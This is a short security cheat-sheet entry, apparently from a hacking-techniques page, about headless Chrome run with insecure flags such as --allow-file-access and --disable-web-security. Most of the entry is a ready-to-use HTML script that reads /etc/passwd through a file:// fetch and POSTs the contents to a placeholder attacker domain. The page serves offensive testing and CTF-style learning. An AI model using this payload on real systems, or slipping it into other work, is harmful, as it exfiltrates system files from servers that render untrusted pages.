Headless Browser: Insecure Flags
If the target is launched with the --allow-file-access option
google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dirSince the file access is allowed, an atacker can create and expose an HTML file which captures the content of the /etc/passwd file.
<script>
async function getFlag(){
response = await fetch("file:///etc/passwd");
flag = await response.text();
fetch("https://[ATTACKER.DOMAIN.TLD]/", { method: "POST", body: flag})
};
getFlag();
</script>
Comments
No comments yet.